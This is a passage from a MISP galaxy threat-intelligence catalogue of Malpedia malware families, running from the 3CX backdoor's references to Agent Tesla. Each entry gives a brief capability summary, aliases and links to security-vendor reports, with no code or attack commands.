Table 3110. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.3cx_backdoor
https://www.zscaler.com/security-research/3CX-supply-chain-attack-analysis-march-2023
https://github.com/dodo-sec/Malware-Analysis/blob/main/SmoothOperator/SmoothOperator.md
https://blogs.vmware.com/security/2023/03/investigating-3cx-desktop-application-attacks-what-you-need-to-know.html
https://www.fortinet.com/blog/threat-research/3cx-desktop-app-compromised
https://www.group-ib.com/blog/3cx-supply-chain-attack/?utm_source=twitter&utm_campaign=3cx-blog&utm_medium=social
https://www.sentinelone.com/blog/smoothoperator-ongoing-campaign-trojanizes-3cx-software-in-software-supply-chain-attack/
https://www.cadosecurity.com/forensic-triage-of-a-windows-system-running-the-backdoored-3cx-desktop-app/
https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/3cx-supply-chain-attack

https://blog.cyble.com/2023/03/31/a-comprehensive-analysis-of-the-3cx-attack
https://blogs.blackberry.com/en/2023/03/initial-implants-and-network-analysis-suggest-the-3cx-supply-chain-operation-goes-back-to-fall-2022
https://research.openanalysis.net/3cx/northkorea/apt/triage/2023/03/30/3cx-malware.html#Functionality
https://www.elastic.co/security-labs/elastic-users-protected-from-suddenicon-supply-chain-attack
https://www.volexity.com/blog/2023/03/30/3cx-supply-chain-compromise-leads-to-iconic-incident/
https://www.trendmicro.com/en_us/research/23/c/information-on-attacks-involving-3cx-desktop-app.html
https://www.splunk.com/en_us/blog/security/splunk-insights-investigating-the-3cxdesktopapp-supply-chain-compromise.html
https://www.reddit.com/r/crowdstrike/comments/125r3uu/20230329_situational_awareness_crowdstrike/
https://www.youtube.com/watch?v=fTX-vgSEfjk
https://www.welivesecurity.com/2023/04/20/linux-malware-strengthens-links-lazarus-3cx-supply-chain-attack
https://www.reversinglabs.com/blog/red-flags-fly-over-supply-chain-compromised-3cx-update
https://www.crowdstrike.com/blog/crowdstrike-detects-and-prevents-active-intrusion-campaign-targeting-3cxdesktopapp-customers/
https://securelist.com/it-threat-evolution-q2-2023/110355/
https://www.rapid7.com/blog/post/2023/03/30/backdoored-3cxdesktopapp-installer-used-in-active-threat-campaign/
https://www.virusbulletin.com/uploads/pdf/conference/vb2023/papers/Lazarus-campaigns-and-backdoors-in-2022-2023.pdf
https://www.huntress.com/blog/3cx-voip-software-compromise-supply-chain-threats

404 Keylogger

Snake Keylogger (aka 404 Keylogger) is a subscription-based keylogger that has many capabilities. The infostealer can steal a victim's sensitive information, log keyboard strokes, take screenshots and extract information from the system clipboard. It was initially released on a Russian hacking forum in August 2019. It is notable for its relatively unusual methods of data exfiltration, including via email, FTP, SMTP, Pastebin or the messaging app Telegram.

The tag is: *misp-galaxy:malpedia="404 Keylogger"*

404 Keylogger is also known as:

- 404KeyLogger
- Snake Keylogger

Table 3111. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.404keylogger
https://any.run/cybersecurity-blog/reverse-engineering-snake-keylogger/
https://www.malwarebytes.com/blog/threat-intelligence/2022/20221121-threat-intel-report-final.pdf
https://zw01f.github.io/malware%20analysis/snake/
https://securityintelligence.com/posts/roboski-global-recovery-automation/
https://blog.netlab.360.com/purecrypter
https://www.ptsecurity.com/ww-en/analytics/pt-esc-threat-intelligence/steganoamor-campaign-ta558-mass-attacking-companies-and-public-institutions-all-around-the-world/
https://x-junior.github.io/malware%20analysis/2022/06/24/Snakekeylogger.html
https://insights.infoblox.com/threat-intelligence-reports/threat-intelligence—102
https://any.run/cybersecurity-blog/analyzing-snake-keylogger/
https://blog.nviso.eu/2022/04/06/analyzing-a-multilayer-maldoc-a-beginners-guide/
https://insights.infoblox.com/threat-intelligence-reports/threat-intelligence—89
https://www.bleepingcomputer.com/news/security/pdf-smuggles-microsoft-word-doc-to-drop-snake-keylogger-malware/
https://habr.com/ru/company/group-ib/blog/477198/
https://securityintelligence.com/x-force/spam-trends-campaigns-senior-superlatives-2023/
https://www.aryaka.com/blog/snake-infostealer-smtp-data-exfiltration/
https://blogs.blackberry.com/en/2022/05/dot-net-stubs-sowing-the-seeds-of-discord
https://threatresearch.ext.hp.com/pdf-malware-is-not-yet-dead/
https://blogs.blackberry.com/en/2022/06/threat-thursday-unique-delivery-method-for-snake-keylogger
https://www.youtube.com/watch?v=vzyJp2w8bPE
https://www.bitsight.com/blog/exfiltration-over-telegram-bots-skidding-infostealer-logs
https://malwarebookreports.com/cross-platform-java-dropper-snake-and-xloader-mac-version/
https://www.fortinet.com/blog/threat-research/deep-dive-into-a-fresh-variant-of-snake-keylogger-malware
https://cert.gov.ua/article/955924
https://www.zscaler.com/blogs/security-research/technical-analysis-purecrypter
https://threatresearch.ext.hp.com/the-many-skins-of-snake-keylogger/
https://www.cybereason.com/blog/threat-analysis-report-snake-infostealer-malware
https://twitter.com/James_inthe_box/status/1401921257109561353
https://www.ciphertechsolutions.com/roboski-global-recovery-automation/

4h_rat

The tag is: *misp-galaxy:malpedia="4h_rat"*

4h_rat is also known as:

Table 3112. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.4h_rat
https://github.com/securitykitten/malware_references/blob/master/crowdstrike-intelligence-report-putter-panda.original.pdf
https://cocomelonc.github.io/tutorial/2021/09/04/simple-malware-av-evasion.html
https://cocomelonc.github.io/malware/2023/09/25/malware-trick-36.html
https://attack.mitre.org/groups/G0024

5.t Downloader

Downloader used in suspected APT attack against Vietnam.

The tag is: *misp-galaxy:malpedia="5.t Downloader"*

5.t Downloader is also known as:

Table 3113. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.5t_downloader
https://research.checkpoint.com/2023/pandas-with-a-soul-chinese-espionage-attacks-against-southeast-asian-government-entities/
https://blog.checkpoint.com/research/chinese-espionage-campaign-expands-to-target-africa-and-the-caribbean/
https://research.checkpoint.com/2024/sharp-dragon-expands-towards-africa-and-the-caribbean/
https://blog.vincss.net/re022-part-1-quick-analysis-of-malicious-sample-forging-the-official-dispatch-of-the-central-inspection-committee/
https://kienmanowar.wordpress.com/2022/01/26/quicknote-analysis-of-malware-suspected-to-be-an-apt-attack-targeting-vietnam/

7ev3n

The NJCCIC describes 7ev3n as a ransomware "that targets the Windows OS and spreads via spam emails containing malicious attachments, as well as file sharing networks. It installs multiple files in the LocalAppData folder, each of which controls different functions including disabling bootup recovery options, deleting the ransomware installation file, encrypting data, and gaining administrator privileges. This variant also adds registry keys that disables various Windows

function keys such as F1, F3, F4, F10, Alt, Num Lock, Ctrl, Enter, Escape, Shift, and Tab. Files encrypted by 7ev3n are labeled with a .R5A extension. It also locks victims out of Windows recovery options making it challenging to repair the damage done by 7ev3n."

The tag is: *misp-galaxy:malpedia="7ev3n"*

7ev3n is also known as:

Table 3114. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.7ev3n
https://blog.malwarebytes.com/threat-analysis/2016/05/7ev3n-ransomware/
https://www.cyber.nj.gov/threat-profiles/ransomware-variants/7ev3n

8Base

The 8Base ransomware group has remained relatively unknown despite the massive spike in activity in Summer of 2023. The group utilizes encryption paired with “name-and-shame” techniques to compel their victims to pay their ransoms. 8Base has an opportunistic pattern of compromise with recent victims spanning across varied industries. Despite the high amount of compromises, the information regarding identities, methodology, and underlying motivation behind these incidents still remains a mystery. Samples of their ransomware show they are using customized Phobos with SmokeLoader.

The tag is: *misp-galaxy:malpedia="8Base"*

8Base is also known as:

Table 3115. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.8base
https://www.logpoint.com/en/blog/emerging-threat/defending-against-8base/
https://blogs.vmware.com/security/2023/06/8base-ransomware-a-heavy-hitting-player.html
https://www.npa.go.jp/english/bureau/cyber/ransomdamagerecovery.html
https://www.trellix.com/blogs/research/phobos-stealthy-ransomware-that-operated-under-the-radar-until-now/
https://twitter.com/rivitna2/status/1674718854549831681
https://krebsonsecurity.com/2023/09/whos-behind-the-8base-ransomware-website/
https://blog.talosintelligence.com/deep-dive-into-phobos-ransomware/
https://blog.talosintelligence.com/talos-ir-q2-2023-quarterly-recap/
https://blog.sekoia.io/sekoia-io-mid-2023-ransomware-threat-landscape
https://socradar.io/dark-web-profile-8base-ransomware/

https://www.acronis.com/en-sg/cyber-protection-center/posts/8base-ransomware-stays-unseen-for-a-year/
https://blog.bushidotoken.net/2023/05/unmasking-ransomware-using-stylometric.html
https://circleid.com/posts/20240530-a-dns-investigation-of-the-phobos-ransomware-8base-attack

8.t Dropper

8T_Dropper has been used by Chinese threat actor TA428 in order to install Cotx RAT onto victim's machines during Operation LagTime IT. According to Proofpoint the attack was developed against a number of government agencies in East Asia overseeing government information technology, domestic affairs, foreign affairs, economic development, and political processes. The dropper was delivered through an RTF document exploiting CVE-2018-0798.

The tag is: *misp-galaxy:malpedia="8.t Dropper"*

8.t Dropper is also known as:

- 8t_dropper
- RoyalRoad

Table 3116. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.8t_dropper
https://cdn-cybersecurity.att.com/docs/global-perspective-of-the-sidewinder-apt.pdf
https://tradahacking.vn/l%C3%A0-1937cn-hay-oceanlotus-hay-lazarus-6ca15fe1b241
https://medium.com/@Sebdraven/malicious-document-targets-vietnamese-officials-acb3b9d8b80a?
https://www.pwc.co.uk/cyber-security/pdf/pwc-cyber-threats-2020-a-year-in-retrospect.pdf
https://community.riskiq.com/article/5fe2da7f
https://securelist.com/cycldek-bridging-the-air-gap/97157/
https://tradahacking.vn/another-malicious-document-with-cve-2017-11882-839e9c0bbf2f
https://vb2020.vblocalhost.com/uploads/VB2020-20.pdf
https://medium.com/@Sebdraven/malicious-document-targets-vietnamese-officials-acb3b9d8b80a
https://blog.malwarelab.pl/posts/on_the_royal_road/
https://ics-cert.kaspersky.com/media/Kaspersky-ICS-CERT-APT-attacks-on-industrial-organizations-in-H1-2021-En.pdf
https://nao-sec.org/2021/01/royal-road-redive.html
https://research.checkpoint.com/2019/rancor-the-year-of-the-phish/
https://research.checkpoint.com/2023/pandas-with-a-soul-chinese-espionage-attacks-against-southeast-asian-government-entities/

https://www.proofpoint.com/us/threat-insight/post/chinese-apt-operation-lagtime-it-targets-government-information-technology
https://www.virusbulletin.com/virusbulletin/2020/03/vb2019-paper-attribution-object-using-rtf-object-dimensions-track-apt-phishing-weaponizers/
https://medium.com/@Ilandu/portdoor-malware-afc9d0796cba
https://www.sentinelone.com/labs/targets-of-interest-russian-organizations-increasingly-under-attack-by-chinese-apts/
https://community.riskiq.com/article/56fa1b2f
https://medium.com/@Sebdraven/new-version-of-chinoxy-backdoor-using-covid19-document-lure-83fa294c0746
https://research.checkpoint.com/2020/vicious-panda-the-covid-campaign
https://www.accenture.com/_acnmedia/pdf-96/accenture-security-mudcarp.pdf
https://go.recordedfuture.com/hubfs/reports/cta-2022-0922.pdf
https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2020CrowdStrikeGlobalThreatReport.pdf
https://malgamy.github.io/malware-analysis/The-Approach-of-TA413-for-Tibetan-Targets/#third-stage
https://research.checkpoint.com/2020/vicious-panda-the-covid-campaign/

9002 RAT

9002 RAT is a Remote Access Tool typically observed to be used by an APT to control a victim's machine. It has been spread over via zero day exploits (e.g. targeting Internet Explorer) as well as via email attachments. The infection chain starts by opening a .LNK (an OLE packager shell object) that executes a Powershell command.

The tag is: *misp-galaxy:malpedia="9002 RAT"*

9002 RAT is also known as:

- HOMEUNIX
- Hydraq
- McRAT

Table 3117. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.9002
https://attack.mitre.org/groups/G0001/
https://www.proofpoint.com/us/threat-insight/post/operation-rat-cook-chinese-apt-actors-use-fake-game-thrones-leaks-lures
https://www.fireeye.com/blog/threat-research/2013/02/lady-boyle-comes-to-town-with-a-new-exploit.html

https://www.fireeye.com/blog/threat-research/2013/05/ready-for-summer-the-sunshop-campaign.html
https://www.trendmicro.com/en_my/research/18/h/supply-chain-attack-operation-red-signature-targets-south-korean-organizations.html
https://www.tgsoft.it/news/news_archivio.asp?id=1557&lang=eng
https://paper.seebug.org/papers/APT/APT_CyberCriminal_Campagin/2013/hidden_lynx.pdf
https://www.secureworks.com/research/threat-profiles/bronze-union
https://www.secureworks.com/research/threat-profiles/bronze-firestone
https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/webworm-espionage-rats
https://blog.trendmicro.com/trendlabs-security-intelligence/supply-chain-attack-operation-red-signature-targets-south-korean-organizations/
https://app.box.com/s/z1uanuv1vn3vw5iket1r6bqrmlra0gpn
https://www.youtube.com/watch?v=-7Swd1ZetiQ
https://www.secureworks.com/research/threat-profiles/bronze-keystone
https://researchcenter.paloaltonetworks.com/2015/09/chinese-actors-use-3102-malware-in-attacks-on-us-government-and-eu-media/
https://www.crysys.hu/publications/files/tedi/ukatemicrysys_territorialdispute.pdf
https://www.secureworks.com/research/threat-profiles/bronze-express
https://www.fireeye.com/blog/threat-research/2013/11/operation-ephemeral-hydra-ie-zero-day-linked-to-deputydog-uses-diskless-method.html
https://www.infopoint-security.de/medien/the-elderwood-project.pdf
https://www-west.symantec.com/content/dam/symantec/docs/security-center/white-papers/elderwood-project-12-en.pdf
http://researchcenter.paloaltonetworks.com/2016/07/unit-42-attack-delivers-9002-trojan-through-google-drive/

Abaddon

Uses Discord as C&C, has ransomware feature.

The tag is: *misp-galaxy:malpedia="Abaddon"*

Abaddon is also known as:

Table 3118. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.abaddon
https://www.bleepingcomputer.com/news/security/new-rat-malware-gets-commands-via-discord-has-ransomware-feature/

AbaddonPOS

MajorGeeks describes this malware as trying to locate credit card data by reading the memory of all processes except itself by first blacklisting its own PID using the GetCurrentProcessId API. Once that data is discovered, it sends this data back to a command and control server using a custom binary protocol instead of HTTP.

The tag is: *misp-galaxy:malpedia="AbaddonPOS"*

AbaddonPOS is also known as:

- PinkKite
- TinyPOS

Table 3119. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.abaddon_pos
https://medium.com/s2wlab/operation-synctrek-e5013df8d167
https://www.proofpoint.com/us/threat-insight/post/AbaddonPOS-A-New-Point-Of-Sale-Threat-Linked-To-Vawtrak
https://www.carbonblack.com/2020/05/21/tau-technical-report-new-attack-combines-tinypos-with-living-off-the-land-techniques-for-scraping-credit-card-data/
https://threatpost.com/new-pos-malware-pinkkite-takes-flight/130428/
https://www.proofpoint.com/us/threat-insight/post/abaddonpos-now-targeting-specific-pos-software
https://norfolkinfosec.com/tinypos-and-prolocker-an-odd-relationship/

abantes

The tag is: *misp-galaxy:malpedia="abantes"*

abantes is also known as:

Table 3120. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.abantes

Abbath Banker

The tag is: *misp-galaxy:malpedia="Abbath Banker"*

Abbath Banker is also known as:

Table 3121. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.abbath_banker

ABCsync

The tag is: *misp-galaxy:malpedia="ABCsync"*

ABCsync is also known as:

Table 3122. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.abcsync
https://nsfocusglobal.com/new-apt-group-actor240524-a-closer-look-at-its-cyber-tactics-against-azerbaijan-and-israel/

AbSent Loader

The tag is: *misp-galaxy:malpedia="AbSent Loader"*

AbSent Loader is also known as:

Table 3123. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.absentloader
https://twitter.com/cocaman/status/1260069549069733888
https://github.com/Tlgyt/AbSent-Loader

ACBackdoor (Windows)

A Linux backdoor that was apparently ported to Windows. This entry represents the Windows version. It appears the Linux version was written first and the Windows version was ported later, without full functionality. The Linux version offers persistence as well as some process manipulation techniques, though both versions apparently offer the ability to access the command line and execute programs as well as self-update.

The tag is: *misp-galaxy:malpedia="ACBackdoor (Windows)"*

ACBackdoor (Windows) is also known as:

Table 3124. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.acbackdoor

https://www.bleepingcomputer.com/news/security/linux-windows-users-targeted-with-new-acbackdoor-malware/

ACEHASH

ACEHASH is described by FireEye as combined credential harvester that consists of two components, a loader and encrypted/compressed payload. To execute, a password is necessary (e.g. 9839D7F1A0) and the individual modules are addressed with parameters (-m, -w, -h).

The tag is: *misp-galaxy:malpedia="ACEHASH"*

ACEHASH is also known as:

Table 3125. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.acehash
https://www.fireeye.com/blog/threat-research/2019/08/game-over-detecting-and-stopping-an-apt41-operation.html
https://www.secureworks.com/research/threat-profiles/bronze-atlas
https://www.welivesecurity.com/2020/05/21/no-game-over-winnti-group/
https://summit.fireeye.com/content/dam/fireeye-www/summit/cds-2019/presentations/cds19-executive-s08-achievement-unlocked.pdf

AcidBox

Unit42 found AcidBox in February 2019 and describes it as a malware family used by an unknown threat actor in 2017 against Russian entities, as stated by Dr.Web. It reused and improved an exploit for VirtualBox previously used by Turla. The malware itself is a modular toolkit, featuring both usermode and kernelmode components and anti-analysis techniques such as stack-based string obfuscation or dynamic XOR-encoded API usage.

The tag is: *misp-galaxy:malpedia="AcidBox"*

AcidBox is also known as:

- MagicScroll

Table 3126. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.acidbox
https://securelist.com/apt-trends-report-q2-2020/97937/
https://blog.talosintelligence.com/2020/08/attribution-puzzle.html
https://unit42.paloaltonetworks.com/acidbox-rare-malware/

https://www.epicturla.com/blog/acidbox-clustering

AcridRain

AcridRain is a password stealer written in C/C++. This malware can steal credentials, cookies, credit cards from multiple browsers. It can also dump Telegram and Steam sessions, rob Filezilla recent connections, and more.

The tag is: *misp-galaxy:malpedia="AcridRain"*

AcridRain is also known as:

Table 3127. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.acridrain
https://thisissecurity.stormshield.com/2018/08/28/acridrain-stealer/

Acronym

The tag is: *misp-galaxy:malpedia="Acronym"*

Acronym is also known as:

Table 3128. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.acronym

ACR Stealer

First introduced in March 2024, ACR Stealer is an information stealer sold as a Malware-as-a-Service (MaaS) on Russian-speaking cybercrime forums by a threat actor named "SheldIO". Researchers posit that this malware is an evolved version of the GrMsk Stealer, which likely aligns with the private stealer that SheldIO has been selling since July 2023. The malware, written in C++, is compatible with Windows 7 through 10, and the seller manages all command and control (C2) infrastructure. ACR Stealer can harvest system information, stored credentials, web browser cookies, cryptocurrency wallets, and configuration files for various programs. Additionally, it employs the dead drop resolver (DDR) technique to obfuscate the actual C2 infrastructure.

The tag is: *misp-galaxy:malpedia="ACR Stealer"*

ACR Stealer is also known as:

Table 3129. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.acr_stealer

https://www.proofpoint.com/us/blog/threat-insight/amatera-stealer-rebranded-acr-stealer-improved-evasion-sophistication
https://twitter.com/sekoia_io/status/1784943443157930449
https://www.fortinet.com/blog/threat-research/exploiting-cve-2024-21412-stealer-campaign-unleashed
https://www.linkedin.com/posts/teethador_tdr-threat-brief-acreed-activity-7384201370855165952-vHAW/
https://cyble.com/blog/double-trouble-latrodectus-and-acr-stealer-observed-spreading-via-google-authenticator-phishing-site/

Action RAT

The tag is: *misp-galaxy:malpedia="Action RAT"*

Action RAT is also known as:

Table 3130. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.action_rat
https://www.seqrite.com/blog/double-action-triple-infection-and-a-new-rat-sidecopys-persistent-targeting-of-indian-defence
https://www.seqrite.com/blog/sidecopys-multi-platform-onslaught-leveraging-winrar-zero-day-and-linux-variant-of-ares-rat/
https://threatmon.io/unraveling-the-complex-infection-chain-analysis-of-the-sidecopy-apts-attack-report/
https://www.seqrite.com/blog/umbrella-of-pakistani-threats-converging-tactics-of-cyber-operations-targeting-india/

Adamantium Thief

The tag is: *misp-galaxy:malpedia="Adamantium Thief"*

Adamantium Thief is also known as:

Table 3131. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.adamantium_thief
https://twitter.com/ClearskySec/status/1377176015189929989
https://github.com/LimerBoy/Adamantium-Thief

AdamLocker

Adam Locker (detected as RANSOM_ADAMLOCK.A) is a ransomware that encrypts targeted files on a victim's system but offers them a free decryption key which can be accessed through Adf.ly, a URL shortening and advertising service.

The tag is: *misp-galaxy:malpedia="AdamLocker"*

AdamLocker is also known as:

Table 3132. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.adam_locker
https://www.trendmicro.com/vinfo/us/security/news/cybercrime-and-digital-threats/ransomware-recap-dec-19-dec-31-2016
https://twitter.com/JaromirHorejsi/status/813712587997249536

AdaptixC2

AdaptixC2 is a open-source post-exploitation and adversarial emulation framework that lets penetration testers control compromised hosts and execute system actions. While being created for red-teaming it is also used by threat actors for attacks.

The tag is: *misp-galaxy:malpedia="AdaptixC2"*

AdaptixC2 is also known as:

Table 3133. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.adaptix_c2
https://github.com/Adaptix-Framework/AdaptixC2
https://hunt.io/blog/adaptixc2-uncovered-capabilities-tactics-hunting
https://thedfirreport.com/2025/08/05/from-bing-search-to-ransomware-bumblebee-and-adaptixc2-deliver-akira/
https://unit42.paloaltonetworks.com/adaptixc2-post-exploitation-framework/

Adhubllka

Some Ransomware distributed by TA547 in Australia

The tag is: *misp-galaxy:malpedia="Adhubllka"*

Adhubllka is also known as:

Table 3134. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.adhubllka
https://www.proofpoint.com/us/blog/security-briefs/ta547-pivots-ursnif-banking-trojan-ransomware-australian-campaign

AdKoob

The tag is: *misp-galaxy:malpedia="AdKoob"*

AdKoob is also known as:

Table 3135. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.adkoob
https://news.sophos.com/en-us/2018/07/29/adkoob-information-thief-targets-facebook-ad-purchase-info/

AdvisorsBot

AdvisorsBot is a downloader named after early command and control domains that all contained the word "advisors". The malware is written in C and employs a number of anti-analysis features such as junk code, stack strings and Windows API function hashing.

The tag is: *misp-galaxy:malpedia="AdvisorsBot"*

AdvisorsBot is also known as:

Table 3136. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.advisorsbot
https://www.proofpoint.com/us/threat-insight/post/new-modular-downloaders-fingerprint-systems-part-2-advisorsbot
https://www.bromium.com/second-stage-attack-analysis/

Adylkuzz

The tag is: *misp-galaxy:malpedia="Adylkuzz"*

Adylkuzz is also known as:

Table 3137. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.adylkuzz

https://www.proofpoint.com/us/threat-insight/post/adylkuzz-cryptocurrency-mining-malware-spreading-for-weeks-via-eternalblue-doublepulsar
https://web.archive.org/web/20170609161432/https://www.proofpoint.com/us/threat-insight/post/adylkuzz-cryptocurrency-mining-malware-spreading-for-weeks-via-eternalblue-doublepulsar

AESRT

Ransomware written using .NET.

The tag is: *misp-galaxy:malpedia="AESRT"*

AESRT is also known as:

Table 3138. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.aesrt
https://www.fortinet.com/blog/threat-research/ransomware-roundup-new-vohuk-scarecrow-and-aerst-variants

Afrodita

The tag is: *misp-galaxy:malpedia="Afrodita"*

Afrodita is also known as:

Table 3139. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.afrodita
https://github.com/albertzsigovits/malware-notes/blob/master/Afrodita.md
https://dissectingmalwa.re/not-so-nice-after-all-afrodita-ransomware.html
https://twitter.com/*CPResearch*/status/1201957880909484033

AgendaCrypt

Ransomware written in Go.

The tag is: *misp-galaxy:malpedia="AgendaCrypt"*

AgendaCrypt is also known as:

- Agenda
- Qilin

Table 3140. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.agendacrypt
https://www.trendmicro.com/content/dam/trendmicro/global/en/research/22/h/new-golang-ransomware-agenda-customizes-attacks/IOCs-blog-New%20Golang%20Ransomware%20Agenda%20Customizes%20Attacks.txt
https://www.trendmicro.com/en_us/research/22/h/new-golang-ransomware-agenda-customizes-attacks.html
https://www.sentinelone.com/labs/crimeware-trends-ransomware-developers-turn-to-intermittent-encryption-to-evade-detection/
https://medium.com/@raghavtiresearch/qilin-ransomware-as-a-service-threat-analysis-and-strategic-outlook-daf8bd6808b5
https://www.trendmicro.com/en_us/research/22/l/agenda-ransomware-uses-rust-to-target-more-vital-industries.html
https://query.prod.cms.rt.microsoft.com/cms/api/am/binary/RE54L7v

Agent.BTZ

The tag is: *misp-galaxy:malpedia="Agent.BTZ"*

Agent.BTZ is also known as:

- ComRAT
- Minit
- Sun rootkit

Table 3141. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.agent_btz
https://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/waterbug-attack-group.pdf
https://www.pwc.co.uk/cyber-security/pdf/pwc-cyber-threats-2020-a-year-in-retrospect.pdf
https://securelist.com/blog/virus-watch/58551/agent-btz-a-source-of-inspiration/
https://www.secureworks.com/research/threat-profiles/iron-hunter
https://docs.broadcom.com/doc/waterbug-attack-group
https://ryancor.medium.com/deobfuscating-powershell-malware-droppers-b6c34499e41d
https://ti.qianxin.com/uploads/2020/02/13/cb78386a082f465f259b37dae5df4884.pdf
https://www.welivesecurity.com/2020/05/26/agentbtz-comratv4-ten-year-journey/
https://www.welivesecurity.com/wp-content/uploads/2020/07/ESET_Threat_Report_Q22020.pdf

https://www.cisa.gov/news-events/cybersecurity-advisories/aa23-129a
https://www.welivesecurity.com/wp-content/uploads/2021/12/eset_jumping_the_air_gap_wp.pdf
http://www.intezer.com/new-variants-of-agent-btz-comrat-found/
https://www.ironnet.com/blog/russian-cyber-attack-campaigns-and-actors
https://www.msreverseengineering.com/blog/2020/8/31/an-exhaustively-analyzed-idb-for-comrat-v4
http://www.intezer.com/new-variants-of-agent-btz-comrat-found-part-2/
https://artemonsecurity.com/snake_whitepaper.pdf
https://securelist.com/shedding-skin-turlas-fresh-faces/88069/
https://blog.gdata.de/2015/01/23779-weiterentwicklung-anspruchsvoller-spyware-von-agent-btz-zu-comrat
https://blogs.vmware.com/security/2020/09/detecting-threats-in-real-time-with-active-c2-information.html
https://cocomelonc.github.io/tutorial/2022/05/02/malware-pers-3.html
https://www.gdatasoftware.com/blog/2014/11/23937-the-uroburos-case-new-sophisticated-rat-identified
https://www.welivesecurity.com/wp-content/uploads/2020/05/ESET_Turla_ComRAT.pdf
https://www.crysys.hu/publications/files/tedi/ukatemicrysys_territorialdispute.pdf
https://www-west.symantec.com/content/dam/symantec/docs/security-center/white-papers/waterbug-attack-group-16-en.pdf
http://blog.threatexpert.com/2008/11/agentbtz-threat-that-hit-pentagon.html
https://unit42.paloaltonetworks.com/ironnetinjector/
https://us-cert.cisa.gov/ncas/analysis-reports/ar20-303a
https://cdn.muckrock.com/foia_files/2021/02/16/21R019_RESPONSE.pdf

Agent Racoon

Agent Racoon is a .NET-based backdoor malware that leverages DNS for covert C2 communication, employing randomized subdomains and Punycode encoding to evade detection. It features encrypted communication using a unique key per sample, supports remote command execution, and facilitates file transfers. Despite lacking an inherent persistence mechanism, it relies on external methods like scheduled tasks for execution. The malware, active since at least 2020, has targeted organizations in the U.S., Middle East, and Africa, including non-profits and government sectors. It disguises itself as legitimate binaries such as Google Update and MS OneDrive Updater, using obfuscation techniques like Base64 encoding and timestamp modifications to avoid detection.

The tag is: *misp-galaxy:malpedia="Agent Racoon"*

Agent Racoon is also known as:

Table 3142. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.agent_racoon
https://unit42.paloaltonetworks.com/new-toolset-targets-middle-east-africa-usa/
https://unit42.paloaltonetworks.com/operation-diplomatic-specter/

Agent Tesla

A .NET based information stealer readily available to actors due to leaked builders. The malware is able to log keystrokes, can access the host's clipboard and crawls the disk for credentials or other valuable information. It has the capability to send information back to its C&C via HTTP(S), SMTP, FTP, or towards a Telegram channel.

The tag is: *misp-galaxy:malpedia="Agent Tesla"*

Agent Tesla is also known as:

- AgenTesla
- AgentTesla
- Negasteal

Table 3143. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.agent_tesla
https://www.sophos.com/en-us/medialibrary/pdfs/technical-papers/sophos-2021-threat-report.pdf
https://embee-research.ghost.io/agenttesla-full-analysis-api-hashing/
https://www.vmray.com/cyber-security-blog/threat-bulletin-agent-tesla/
https://cocomelonc.github.io/malware/2022/07/30/malware-av-evasion-8.html
http://l1v1ngc0d3.wordpress.com/2021/11/12/agenttesla-dropped-via-nsis-installer/
https://www.fortinet.com/blog/threat-research/analysis-of-new-agent-tesla-spyware-variant.html
https://www.intrinsec.com/wp-content/uploads/2023/09/TLP-CLEAR-20230912-EN-GuLoader-Information-report.pdf
https://youtu.be/BM38OshcozE
https://www.fortinet.com/blog/threat-research/fake-purchase-order-used-to-deliver-agent-tesla
https://malwarebreakdown.com/2018/01/11/malspam-entitled-invoice-attched-for-your-reference-delivers-agent-tesla-keylogger/
https://www.ptsecurity.com/ww-en/analytics/pt-esc-threat-intelligence/steganoamor-campaign-ta558-mass-attacking-companies-and-public-institutions-all-around-the-world/
http://ropgadget.com/posts/originlogger.html
https://www.proofpoint.com/us/blog/threat-insight/commodity-net-packers-use-embedded-images-hide-payloads

https://thisissecurity.stormshield.com/2018/01/12/agent-tesla-campaign/

https://blog.talosintelligence.com/rats-and-stealers-rush-through-heavens/

https://news.sophos.com/en-us/2021/02/02/agent-tesla-amps-up-information-stealing-attacks/

https://www.seqrite.com/blog/gorgon-apt-targeting-msme-sector-in-india/

https://research.checkpoint.com/2024/foxit-pdf-flawed-design-exploitation/

https://mp.weixin.qq.com/s/X0kAIHOSldiFDthb4IsmbQ

https://isc.sans.edu/forums/diary/PowerPoint+attachments+Agent+Tesla+and+code+reuse+in+malware/28154/

https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/the-many-roads-leading-to-agent-tesla/

